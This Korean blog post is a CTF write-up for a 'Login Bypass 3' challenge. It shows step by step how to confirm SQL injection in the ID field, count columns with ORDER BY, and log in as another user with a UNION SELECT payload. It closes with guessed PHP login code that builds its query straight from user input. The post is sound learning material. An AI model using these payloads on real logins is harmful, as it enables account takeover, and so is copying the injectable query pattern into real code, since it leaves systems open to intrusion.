Almon Dev

ctf 풀이 (Login Bypass 3) 본문

모의해킹/모의해킹

ctf 풀이 (Login Bypass 3)

Almon 2024. 11. 16. 14:05

ctf 문제풀이

 

Login Bypass 3

 

풀이

1> doldol / dol1234로 로그인해봅니다.

 

2> 리피터를 통해서 sql injection 확인해 보기

id는 sql injection이 가능하고, password는 불가능합니다.

 

3> sql injection을 통해 가져오는 컬럼 개수 확인해보기 (컬럼은 2개)

ex) UserId=doldol' order by 2 desc# 

 

4> 로그인 코드 예상해 보기

$sql = "select password,nickname from member where id='$input_id'";

if( $input_pass == $db_pass ) {
	// 로그인
}

 

5> normaltic3로 로그인해보기 (union 사용)

UserId=doldol'+union+select+'normaltic3',+'1234'+order+by+2+desc#&Password=1234&Submit=Login
union은 selct를 여러번 할때 결과를 합쳐서 하나의 테이블로 만들어줍니다.
=> 컬럼의 개수가 동일해야 합니다.

 

sql 예상

select nickname, password from member 
where id='doldol' 
union select 'normaltic3', '1234' order by 2 asc#'

예상 sql 결과

index 닉네임 비밀번호
0 normaltic3 1234
1 doldol dol1234

order by 2 asc로 비밀번호를 기준으로 오름차순 정렬을 해서 normaltic3 닉네임이 위로 오게 만들었습니다.

 

로그인 php 코드 예상

<?php
    
$input_id = $_POST['UserId'];
$input_pass = $_POST['Password'];

$server_name = "localhost"; 
$username = "root";       
$password = "";           
$db_name = "test";      

$conn = new mysqli($server_name, $username, $password, $db_name);

$sql = "select nickname, password from member where id='$input_id'";
$result = $conn->query($sql)->fetch_array(); // 첫번째 결과(row)를 받아옴
$db_pass = $result['password'];
$nickname = $result['nickname'];

if($input_pass == $db_pass) {
    // 로그인 성공
    echo $nickname;
}else {
    // 로그인 실패
    echo 'fail';
}